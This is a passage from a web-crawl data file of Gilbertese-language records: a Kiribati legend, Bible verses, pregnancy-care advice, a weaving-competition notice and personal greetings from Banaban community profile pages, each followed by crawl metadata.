man te kekenu are e baina atiina.\nMa e aki toki ikanne bwa n ana kauoua ni bong, ao e manga urakinaki naba te amwarake are ai aron naba are mai mwaaina. Ngke e a manga bwaka naba ni matu matan Bakoa ao e a manga bo naba ana tai te kekenu n amwarake. E a manga bwaronako naba te koraki bwa tuoan ao kakaean nikiran te amwarake bwa e karabaaki ia. E bwara nanoia taani kakae ao ikanne are e a manga tokanikai naba Matari man te tiringaki are kakariariaaki.\nN te kateniua ni bong, are ai bon ana kaitira ni bong Matari, ao e a manga roko naba te amwarake inanon te mwaneaba. Aio te tai are e a kaman baireaki bwa ai bon te bakaborau naba ngkai e nang tiringaki n te ingabong are i mwiina. E ata te bwai are e nang riki nakoina Matari aingaia are ngke e kaotinakoa te kekenu n te tairiki anne ao e tuangnga ni kangai, \"Kana te amwarake ae tabuki aio ao ko a reitianako naba ni kaniia kaain nanon ma tinanikun te mwaneaba ni bane. Uringnga ni katuka Bakoa n ti ngaia!\"\nE kibara te amwarake are i nuuka arei te kekenu ao man itiria n akea nikirana. E aki toki nanona iai aingaia are e a manga kanaanako are riaan boti n akea temanna ae katikua. Ni baneia kaain nanon te mwaneaba ao e a manga eweka tinanikun te mwaneaba ao ni kaniia naba ni kabaneia. E aki naba rauaki nanona ma birotona aingaia are e a manga okira nanon te mwaneba ao man kibara Bakoa. E takaakaa ni bubuti buokana Bakoa nakon Matari bwa e na taua ana man arei.\nNgke e ongo Matari takakaan Bakoa ao e a kiba n taua te kekenu. Ma e oimwi teutana bwa e a tia n kanaki mwakoron waen Bakoa are teaina. Ni karokoa te bong aio, ao e bon teimatoa n noraki kororon bukin te bakoa are teaina. E riki anne man ana mwakuri te kekenu - are e mwaneweaki n te karaki aio!\nImwiin tian anne, ao e a kitana Moone Matari n okirikaki nakon tibuna are e tiku n tataningaia n aia atimwakoro are a mamaeka iai. A tiku ni maeka ikekei ma te kukurei.\nCategories: Legends & Myths","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/www.storiesfromkiribati.com\/apps\/blog\/entries\/show\/46410531-karakin-matari-e-kororo-bukin-te-bakoa-are-teaina-mwakoro-5-","date":"2019-03-25T05:42:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203755.18\/warc\/CC-MAIN-20190325051359-20190325073359-00067.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1021,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.406,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7 Ai kananoangara ngai! Bwa I a riki bwa ai aron te aomata\nAe aki reke irouna teuana te amwi ni kureebe bwa kanana,\nKe te biiku ae kangkang ae I* bwaruia,\nImwin taiakin uaanikai aika rereke n tain te kabuebue\nAo te karemrem imwin taiakin te kureebe.\n2 E a tia ni mauna* man te aonnaba te aomata ae kakaonimaki ni koaua,\nAo akea te aomata ae raoiroi i buakoia aomata.+\nA bane ni kakaran ibukin te katuturaraa.+\nAo e kamwanea tarina temanna ma temanna n te karaun.\n3 A mwaatai baia ni karaoan ae buakaka.+\nE kairoroa te bwai teuana te toka,\nAo e bubutii te kaniwanga te tia moti,+\nAo a ikotaki ni mwakuria.*\n4 Ane te kabanea n raoiroi irouia kaanga ai aron aroka aika kateketeke,\nAo ane moan te eti irouia e kammaraki riki nakon te oo ae te aroka ae kateketeke.\nE na roko aia bong am tia tantani ao ni kaetaki taekam.+\nAne a na nako nanoia ngkai.+\n5 Tai onimakina raom\nKe n onimakina raoraom ni kaan.+\nTarataraa raoi te bwai ae ko taekinna nakon ane e wene i bwanibwanim.\n6 Bwa te nati te mwaane e na ribaa tamana,\nAo e na teirake te nati te aine ni kaitaraa tinana,+\nAo buun te nati te mwaane e na kaitaraa tinani buuna.+\nE na riki te aomata bwa aia kairiribai kaaini batana.+\n7 Ma N na teimatoa ngai n tantani n tataningaa Iehova.+\nE na ongo irou Atuau.+\n8 Tai kimwareirei ibukiu ngkoe ae te tia kairiribai nakoiu.*\nE ngae ngke I bwaka ma N na manga teirake.\nE ngae ngke I maeka n te rotongitong, ma e na riki Iehova bwa au oota.\n9 N na kekeiaki i aan unin Iehova,\nBwa I a tia ni bure nakoina,+\nNi karokoa te tai are e tei iai ibukin au tangitang ma ni karokoa te kaetitaeka ae riai ibukiu.\nE na kaotinakoai nakon te oota,\nAo N na nora raoiroina.\n10 E na noria naba te tia kairiribai nakoiu,\nAo e na rabunaki n te maamaa neiere kangai nakoiu:\n\"E nga Iehova ae Atuam?\"+\nA na tataraa neiei matau.\nE nang toutouaki ngkai neiei n ai aroni bokabokan taiani kawai.\n11 E na riki bwa te bong ibukini katean oom aika taian atibu.\nE na kararoaaki riki te tia* n te bong anne.\n12 Ane a na roko iroum aomata n te bong anne\nMai Aturia ao mani kaawa ake i Aikubita,\nAo mai Aikubita ni karokoa te Karaanga,*\nMan taari teuana nakon taari teuana, ao man te maunga teuana nakon te maunga teuana.+\n13 Ao e na kamaroaeaki te aba ibukia kaaina,\nBwa mwin te baere a a tia ni karaoia.*\n14 Kawakinia am aomata n am kai bwa kaanga tiibu ngaiia, ae te nanai ae tibwangam,+\nAe maeka n tii ngaia n te buakonikai, i nukan te tabo are a unikaki iai kainnamwarake.\nKe a amwamwarake i Batian ao i Kireata+ n aroni boong ake rimoa.\n15 \"N na kaotii baika kamimi nakoia,\nN aroni boong ake ko otinako iai man te aba are Aikubita.+\n16 Ane a na noria natannaomata ao a na maamaa, n aki ongei korakoraia ni kabane.+\nAne a na kaaki baia i aoni wia,\nAo a na bono taningaia.\n17 A na newenewea te tano n aroia naeta,+\nAo a na otinako man aia nono ma te rurubenebene, n aroia manin te aonnaba aika kawakawa.\nAne a na rinnako ma te maakunrang nakon Iehova ae Atuara,\nAo a na maakuko.\"+\nKo na tewenakoi aia bure ni kabane i kabini marawa.+","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/wol.jw.org\/gil\/wol\/b\/r178\/lp-gb\/nwt\/GB\/2013\/33\/7","date":"2019-03-24T02:27:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203168.70\/warc\/CC-MAIN-20190324022143-20190324044143-00178.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":577,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Tekeraoi!\nAio te tai ni aki rau, maaku, ao te katabwetabwe nte iango. Bwa tera aron te namakin, ao aio naba bwaai aika ti bon kantagigaia. A maiti bwaai aika tina reireiaki iai,I bukina bwa iai naba te rabata ae boou inanon birotom. Ao a maiti rongorongo aikai ko kona ni buokaki iai.\nTe moana ibwobwoki bon am taokita. E na aganiko te tutuo ni kakoaua ba koa bwikoukou ke ko aki, tutuoaki raram ao rabatam ni kabana bwa ena ataaki bwa ko bon marurung. Ena aganiko naba te rongorongo I bukin kakaean am Matanui Neeti ni kawakiniko \/ neei ni kaabung.\nE roko te aki rau\nNkana ko raraoma ibukin arom ni bwikoukou, tai baranano, tiaki ti nkoe te moan aomata ko rotaki!. Ko na aganaki ibwobwoki. Taetae nakon te aomata ae ko ataia raoi ba ena kakaeaki te Matanui Neeti ni Kawaniko ke te neeti ni kabung (see 'Finding a Lead Maternity Carer').A maiti naba aomata aika kona ni ibwobwoki ao bootan aomata aika kona ni aga te ibwobwoki n am tai ni bwikoukou (see 'Pregnancy Support').\nTera te Matanui Neeti ni Kawakiniko?\nTe Lead Maternity Carer ke te LMC bon ngaia arei aganaiko te ibwobwoki I nanon am tai ni bwikoukou, ao am tai ni bung I nanon (4-6 te wiiki) n maiun te ataei. E kona bwa te taokita, neetinikabung aia taokita ataei ao taokita ni kabung. Te neetinikabung bon te aomata ae rabakau n te kabung ia ana beeba ni kakoaua ao e atia ni reireinaki raoi i aon ana makuri aio ao ni kakoaua naba ana bweeba bwa te tiakabung.\nRineia raoi am LMC bwa te aomata e boongana ana makuri i bukim. Rineia te aomata ae atia ni kakouauaaki I roun te aine te mana bwa e tamaroa ana atatai ao ana kamakuri ao e buokiko raoi ni te katei ao te aroaro ae botau ma am kantaniga. Ko riai ni onimakina raoi am LMC. Am LMC e riai ni taeate ao ni kabarabara raoi baai aika ko raraoma i ai ni te aro ae ko ota ao akea te maaku iroum. Ngaka no aki onimakina raoi am LMC ko kona ni manga bitia nakon ae ko tangiria, e bon iai naba te inaomata iroum ibukin te bitaki aio nkana ko tagiria (see 'Find Your Midwife').","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/www.tapuaki.org.nz\/ki\/i-bwikoukou-ngkai-%E2%80%93-ao-tera-i-riai-ni-karaoia","date":"2019-03-19T01:26:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201882.11\/warc\/CC-MAIN-20190319012213-20190319034213-00290.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":382,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.353,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|Posted by Amota Eromanga on February 14, 2019 at 7:25 AM|\n(KAITIBON MATARI MA BAKOA)\nI mwiin te tai ae aki rangi ni maan, ao akea bwa a manga otirake mai taari n te tabo teuana ike e a mena te aba i etaia. E iabuti te tabo are a otirake iai ao man aki toko waeia, aingaia are a uauarake riki teutana ni kaea eta. Ngke a toko waeia ma aontano ao a nakonako ni karaurau rinanon taian rawarawa ake a mena imwaaia. E rimoa kaain taari ao man taorimwiaki iroun Matari.\nMa ai aki akora bwaai ake a tauraoi ao mani wene n tataninga inanon taian rawarawa akanne! Eng, bwaai ni riibuaka ao ni kamwane ake a katauraoaki ibukin Matari. N te moan rawarawa ao e a bon ana arona teibabaan te eenga, te reka ao manin riki taari ake a katekereke mani kabuebue. E ngae n anne ao a bon aki bwerengaki waen Matari bwa ai bon te ototoi nako naba kateketekeia ma rekaia. E ngare ni kakaniko i nanona Matari bwa e bon ataia ae bwaai ni kamwane ibukina ai ngaia are e a merea raona arei ao man taku, \"Nao, ai aki akora tanon nanon te rawa aio. E rangi ni kamwengaraoi te nakonako iaona!\"\nE aki kaeka teuare kaain taari ma e ti wirikiriki inanona, \"Ngaia te kangaanga te aomata aei. E tau ma karokoira n te rawa ae imwaaira aio.\"\nBon te rawa ae a reimaurua inanona taian kima aika totooa. Ngkana a in kiima aikai ao ai bon te mantintin naba bwaai ake a reke iai. Akea naba ae kona ni kauki mwangaia ngkana a aririi. Akea riki bwa ti te bae ao te mate bwaai ake a kuba n reke irouia.\nE a tabe n toua ngkai nanon te rawa aio Matari. Ngke e ruruon rikaaki waena ao e a namakina naba ingin taari mai nano. E aki maan ao e a namakina te bwai ae e nimta mani kooni waena. E ataia Matari bwa te kima ae te toa. E eeka ao man taku, \"Nao, ao ai manga tera raom aei?\"\nE keiaki ni karabaa nanona ni karekekai ao man kaeka, \"Nangoan waen Bakoa. Kanakoi mai waem ngkana ko aki kainanoi!\"\nE na tabwara Matari ma are e a waanini naba rikaaki baina rimarenan mwakeren aubungan te kima are taua waena ao man raeia ni katangainaa. Ai kawara ao ai kananoangara te kima bwa ti te tangaina ao ni maraunako ni mate. Ngke e a manga ruo waena are teaina ao e a manga nimtaki naba n te kima are temanna. E aki anga ana tai Matari ma e a manga raemwangaia naba ni kamatea. Ao ai bon arona naba anne nakoia kiima ake a komakia waena inanon te rawa anne.\n\"Ai kananoangara manin taari iroun teuaei!\" e tangi ni bwaebwaeti i nanona teuare kaain taari.\nAi bon te kabanea n rawa ngkai are a toua nanona naakai. Ngke a bon tibwa bwaka i nukana, ao bon te tounako Matari n te bwai are e a tabe ngkai n niiroarake waena. E burita waena ma akea te bwai ae riki. Akea bwa e a manga nimtaki waena are teaina. Ngaia anne, bon kiikan marawa ae te toa are e tabe ngkai ni kanim kaona ao man niroarake rabwatan Matari. Ngke a mwaneaua raoi kaona iaon rabwatan Matari ao kai are e a katiitiki naba nako nanon bwangana ae te toa. E kakoraa Matari ni taeki kaao akekei bwa e na aki tikinako ao mani iinako. E a bon atin te kabo korakora irouia naakai inanon te tai ae maan. Irian te aitara ni boo aio bon kiben, takarebun ao mantoan nanon te rawa are a bokakano iai. E kataunariaki te aitara aio bwa kaanga ai aron te kaitira ni bo ni buaka imarenani marawa ao aonteaba. N rokon korakorana ao a tei naao, a tang aira ao e bukibuki te rurungaa ae bati. Akea bwa e a matakuakinaki te bokakano aio mai ieta irouia kaain aban Bakoa are Moone ao iriana are te kantataninga bwa tera tokina.\nE namakinna Matari bwa e a moanna n rotaki marurungin rabwatana aingaia are e unika ana koro matang imarenan taian rakai ao man rooia iai bwa e na aki tikinako. Ma ai kawa ra Matari bwa e tabe ni kekerikaaki korakorana aingaia are e a tabe ngkai ni iinako nako nanon ana nangananga aiana arei. E na bae ni bwabwa imwiin te tai ae aki maan, bwa e a roko ngkai taari iaan bwangena. E ataia bwa ngkana e tao bwairina ao ai anne naba te tai are e nang kabuanibwai maeuna iai. Tera ngkai ae e nang karaoia? N ana tai ni iango ae e a bon ti roko naba uringan neiere tibuna are e tiku i eta n tataninga karairakina. E aki tabwara ma e a tang naba nakon tibuna ni kaota te kabuanibwai are e nang riki nakoina.\nNgke e ongo tangin Matari teunaine arei ao e a kaeka ike e a kauringnga iai taekan ana man te kekenu are n te abein. Ngke e ongo Matari ao e a keiaki ni wanini rikaaki baina ao mani kabwara matan te abein are e mena iai ana man are te kekenu. Eng, e a boni kaman kariaria kaotinakoana te man aio, aingaia are ngke e uki matan te abein ao e a bon ti kanenei nako naba ni kaea kanoun te kiika ni marawa arei. N rokona iai ao e a bon itira naba kanouna ni kanna n te tai ae rangi n tawe. E uara wiimwaakan te aeka ni man aio? Ao ngaia e bon aki naba kan rauaki naba iai nanona ma biritona ae e bon teimatoa naba ni baki!\nA na tera ae e na kona te kiika ni marawa ngke e akea kanouna? Eng bon ti te ngonnako man rabwatan Matari. E buritiarake Matari ao man teerakea nako etan te rawarawa. A uakaka kaon te kiika ngke e bwaka ni maraunako ietan te rawarawa.\n\"Ai kawara ana bwai ni irebareka Bakoa bwa ko a tiringnga! e tang n rainanoanga te tia tararuai manin taari.\n\"Te bwai ni irebareka tera ngkai ti a kuri kanga iai? e kaeka Matari ma te bwana ni okinnano ao ni korakai.\nA waerakea te bike ngkai ao mani bakatetea te mwaneaba are e mena i mwaaia.\n\"Kaaraki, kaaraki! e wewete Bakoa man ana boti ian mwaneabana.\n\"Mauri O, mauri O! e kaeka Matari ao e rinnako n te mwaneaba.\nMwakoro 1, 2, 3 & 5:\nCategories: Legends & Myths","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.storiesfromkiribati.com\/apps\/blog\/show\/prev?from_id=46393522","date":"2019-04-26T06:13:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578760477.95\/warc\/CC-MAIN-20190426053538-20190426075538-00382.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1078,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.394,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nakoia taan raranga kie ni kabane iaon Kiribati. N rimwian te rongorongo ae nako ni bwanaan Kiribati, ibukin te kaboo iaon te raranga kie ni matu. Ao aikai ngkanne te tua iaona: E na riai n eti raoi tabona, ke ena aki kiribwakeekee. E na aki kiribwangabwanga. E na manti raoi man weneraoi ngkana e READ MORE\nTobaraoi's celebrations for Kiribati 40th Anniversary of Independence RULES Open to all I-Kiribati weavers from all the islands. Multiple entries permitted. All weaving must be made of well prepared teira – soft and strong Weaving needs to be beautifully done: even and tight with straight edges. Size, single adult sleeping mat Competition closes on Saturday READ MORE","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/tobaraoi.com\/","date":"2019-04-24T21:53:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578663470.91\/warc\/CC-MAIN-20190424214335-20190425000335-00329.warc.gz","language":"gil","language_score":0.9769361615,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"gil_Latn_score\": 0.9769361615180969}","num_words":113,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.192,"stopwords_ratio":0.177,"flagged_words_ratio":0.0,"lang_id_score":0.972,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 N na karaoiroa Iehova ni kabane au bong ni maiu.\nN na anene n neboa* Atuau ngkai I maiu.\n5 E a kukurei ane e karika Atuan Iakoba bwa te tia buokia,+\nAe e kantaningaa Iehova ae Atuana,+\n6 Ae te tia Karaoa karawa ma aonnaba,\nAo taari ma bwaai nako ake iai,+\nAre Teuare teimatoa ni kakaonimaki,+\n7 Are Teuare kawakina te kaetitaeka ae riai ibukia akana babakanikawaiaki,\nAo Teuare anga te amwarake nakoia akana baki.+\n8 E kaurei mataia akana mataki+ Iehova,\nE kateirakeia akana bobaraaki Iehova,+\nAo e tangiriia akana raoiroi Iehova.\n9 E kamanoia akana maeka n iruwa Iehova,\nAo e kateimatoa te teei ae akea tamana ma te aine ae e a tia ni mate buuna,+\n10 E na Uea n aki toki Iehova,+\nAe Atuam ngkoe ae Tion, man te rorona nakon te rorona.\nKaraoiroa Iah!*","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/wol.jw.org\/gil\/wol\/b\/r178\/lp-gb\/nwt\/GB\/2013\/19\/146","date":"2019-04-21T03:00:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578530161.4\/warc\/CC-MAIN-20190421020506-20190421042506-00230.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":136,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"hey kia ora nei aai! whats up n how's sch?? hope u always a gudgirl to ur mom ao nakoia kain te auti n bn?? sorry for the late reply coz i a nag tabe2 n karei2a naomi n st anne? we miss u all especially naomi. she always call out nei aai, nei bani nei maese nakomai ikai?? anyway, hugs n kisses to u n mom, but mostly frm naomi te kumetaia? ti a maga reitaki ke! tekeraoi gkami!\nAye, aye e ataeinaine te aba kee. E rarabwa te ururing ma te reitaki. E uara te reirei? Keiaki ko ongo...ai bon ti te reirei n taai aikai ae kona ni karoroanako waam...ke kanga?? Akea rongorongon Suva bwa ti ae e nako kaina ngkai bon te Hibiscus Festival. A roko naba Aunty Tena ma Nei Shir mai Rambi bwa ena kauka te Festival Nei Tena...Lolz!!!! Ao tinam, i kaitibo naba ma ngaia ikai...te mwane irouna kee. Kanga ia nang kabwararia ma tao n nang toki moa ikai. Ai bon te inga ao te kamauri mai irouia tarim ao mwanem aikai nakoim ao ena tekeraoi te reirei ao te tiku ikanne. Iai naba aia page n te Banaban Voice ao araia bon Herman Tabore, Takabwebwe Tabore, Rote Takesau, Tarai ao Rakena ngkana ko kan reitaki ma ngaia. Tia boo moa.\nMauri Aai,\naio aunty tiku. ao ko uara ma kain am auti?te kantaninga ba kam boni bane ni marurung raoi.ao enga tinam?ea tia n roko ikanne ke ea tiku iroun Uncle Joe i Lautoka?? Ko tuangnga ba ena email mai.Koa angania kain am auti ara inga ao ara kamauri ao tekeraoi te reirei ma te tiku ikanne.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/banabanvoice.ning.com\/profile\/aai","date":"2019-05-25T09:37:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257939.82\/warc\/CC-MAIN-20190525084658-20190525110658-00259.warc.gz","language":"gil","language_score":0.9998813868,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.999881386756897}","num_words":276,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.236,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bula vinaka bro! hope still intact with the world shuttle believing ur quite on trac while I don't know what world am I now...maybe I move with the globe...ahah nice talkin to y'all and my outmost love and wishes to my kids..tofa\nmauri manena...ao ko uara ma am koraki ikanne? Etikiraoi bwa koa bon kaina raoi ikanne kee...kam mena ia n tabo raa? ngai ia give up te tiku ikanne bwa irou i rangi n raroa ma au koraki ao riki naitu bwa are a reirei ikai(suva) ao ngke ai raman natim ngkai? te kariki maka naba iroum kee...tau tekeraoi moa ma am koraki n hope to hear more form u.. regards to ur families there...God bless...tiabo n take care","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/banabanvoice.ning.com\/profile\/RusiateJiopeBubu","date":"2019-05-21T09:44:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232256314.25\/warc\/CC-MAIN-20190521082340-20190521104340-00184.warc.gz","language":"gil","language_score":0.9582716227,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.9582716226577759}","num_words":120,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":0.966,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Neiko bon iai te bubuti nakoim nae buum ko kona n karokoa te rongongo nakon Nei Kateau Rara ae tibun Brown bae e kan reitaki tinana mae ngaia ao ana e-mail adress bon email@example.com ao antai ae moana nte takakaro nte 15 dec nte rugby.Merry x-mas ao happy New Year.Go Tabwewa Go.Koraba tia manga reitaki\nmauri mai lokia kam uara moa ?.... bon te kakaitau moa nakoa buum anne a aron ana i buobuoki i nanon au ara tai ni mena irarikimi .... bon te tia akawa ni koaua ao\nbon akea ae oroia iaon rambi....kam rarabwa ao te keraoi te waki tiboon n reken te kaitibo...rimwi.....\nmauri dauve ao kam uara ikanne? ti taboo ma ti nang misini ngkami bwa akea te bai ae ti karaoia ngkai bwa te titiku nte auti ao raou aei e manga taonaki manangana nakon 12nov...e kamauringkami ao koa karokoa ana kamauri nakon butikana anne..tekeraoi ao sapoo ni manga reken te kaitibo","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/banabanvoice.ning.com\/profile\/NgisiKaimata","date":"2019-05-20T03:11:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232255536.6\/warc\/CC-MAIN-20190520021654-20190520043654-00036.warc.gz","language":"gil","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000070333480835}","num_words":155,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.277,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kouara ma raom aikanne? I think you are all doing fine. For me I am doing fine too. Tourism is not new to me since I have had vast experiences in which had helped me tremendously in my course. I really missed seeing you guys during the sports day supposed to be held there. E nang kanga te karau are bwaka. Anyways we will see you guys at the airport. It's good to know that you had your dancing costumes. I had mine from the Rabi relatives here in lautoka. Ia bon keweia kain ikai ma au mwaie. E raoiroi iroumi bwa ngkami teniman ao ngai are ai bon ti ngai. Tao e raoiroi naba bwa akea ae ataa buren au kai kee. E tekeraoi these last two weeks and take care. Love to you and the other 2 girls.\nMilly sorry ngkai ia bon rin n am auc aio n aki kakaeti ba tera bukin riniu. Neiko kai terna ma ai bon te kakibotu ao riki ngkai ai bon te akea ngkoe ao ia bon taona tabon kiem aio ni katuka au katekeraoi nakoim n am tai ni makuri n te Otintai Hotel. ko raba ao tekeraoi riki ma am koraki .\nngaia mauri naba nei siter aio...............neiko kai akea tameia uncle teibi ma irou ma na kakaea ao ia send naba nakoim nam gmail keer.....ok..............but take care sis n auntie kataua is in rabi.........e mena ngkai ma kaka karibaieta ao kaka bakia............\nneiko koa manga boon kaongongo naba ni oki nakomia keer............luv n take care sis...............have a great day till u hit bak again...\nMilly, Mauri riki.\nKo rabwa ngkai koa tia n tuangai aran am karo ao ena kanga ao ko uarereke ngke ikatana Rabi n 1997 ao ngaia koa ikawai ma e tau bwa ia kinako ao kona tekeraoi inanon te ririki ae boou ma kain batam ni bane. Ngai ngkai imena i Aotiteria nte Gold Coast. Terimoa ae mena naba ikai bwa enang kaina ikai.\nIa manga ongora mai iroum ni mwawam bwa tera rongorongo ami tabo anne.\nNeiko, antai moa araia tibum ao am karo? I have been living in Australia for the past 13 years and that's the reason why I'm so behind in connecting with my fmaily especially the young generation so please update me on our family link.\nMauri nte ririki ae bou Nei tepapanto, e uara te makuri nam hotel ikanne ao a uara atainainen ikanne i taku bwa bon ngaia naba akea te bitaki ke kanga??? tau enjoy am new yr with your friends tao tia manga bo moa ao koa manga reitia mai ikanne\nisa e bon eti anne, tamnein natiu teainne anne nim nau page ma emena i rabi iroia tibuna. tinang nako nanaia inanon july aei. ......ohohoh u ar a big girl, ingo iroun am bro abera ba ko ien ma te seaman... thats good, ao natiu temanne anne tameina ma ngaira... i have 2 kids. koa atia nikariki ke ko tuai.... etau koa retia ma ikanne kee. tia boa moa n tekeraoi","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/banabanvoice.ning.com\/profile\/MillyPeter879?xg_source=profiles_memberList","date":"2019-05-21T09:05:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232256314.25\/warc\/CC-MAIN-20190521082340-20190521104340-00225.warc.gz","language":"gil","language_score":0.9973216057,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"gil_Latn_score\": 0.997321605682373}","num_words":502,"character_repetition_ratio":0.026,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri moa ngkoe mai ikanne , ao antai ngkoa aram raoi kee tao koa kabarabarako nb nakoiu mai ikanne ao irarikin anne e rang rarabwa riki te add mai ikanne\nngai ngkanne bon nei karee ao bni kain nb tabwewa meang raoi ma ngkai i online mai kiribati . tau tekeraoi moa ngkoe mai ikanne . ma ngkana iai am email address ao koa addina nb au bwai aio ba tiaonga n chat ni kinaira raoi iai keeeee","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/banabanvoice.ning.com\/profile\/DANIELMAUNAROTAN","date":"2019-05-21T08:33:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232256314.25\/warc\/CC-MAIN-20190521082340-20190521104340-00149.warc.gz","language":"gil","language_score":0.9999886751,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 0.9999886751174927}","num_words":75,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.173,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko bati n rabwa Tamiaana n am reply ao ngkai ko tia naba n addnai nakon am gmail. Ti bon riai ni maroro on such issue about Nei Teari being denied as a Banaban, ao are e a bon reke au gmail iroum ma koa kai manga reitaki nakomai. I rangi ni kan marooro ma ngkoe ao kanoan nako Nei Teari iaon Fiji ikai iaon te kanganga ae e riki nakon tibumii are nei Teari te Unaine.\nMy name as Butin is being used by those in Makoi, Veisari and Lautoka. All the best, ao Ia ongongora. BI\ni bon tekerawata n ana reply nei Tamiana ngkai i aataia raoi bwa bon tibun Nei Teari are te i Banaba, ao man iein nako Butaritari. Tamiana, koa bon kakabwara au bure ao Iaaki manga oki. Tera ngke e kona n reke ara tai ni kaitiboo ao man marooro ngke ma nei Teari te teei iaon te issue are e irekereke ma kakeaakin tibumi ae Nei Teari mai Banaba. kam a reitaki ma ngai n te tai ae waekoa. Au email bon firstname.lastname@example.org. Bati n rabwa!!\nko rabwa Tamiaana ibukin am reply - ngkai i ongo aran tibum ae Nei Teari ao Ia kona raoi n ataia ae ngkee te i Banaba, ao e maroaki ae ngaia bon iai naba ae Nei Teari te teei bwa kamaeuan aran ami unaine arei? E rangi n interesting. Kabwara te bure maneu ngkana e tangbuaka te kakaraki, ao I aaki manga oki. Think we should become friends here, Butin","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/banabanvoice.ning.com\/profile\/TamiaanaBuatia","date":"2019-05-21T08:40:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232256314.25\/warc\/CC-MAIN-20190521082340-20190521104340-00448.warc.gz","language":"gil","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 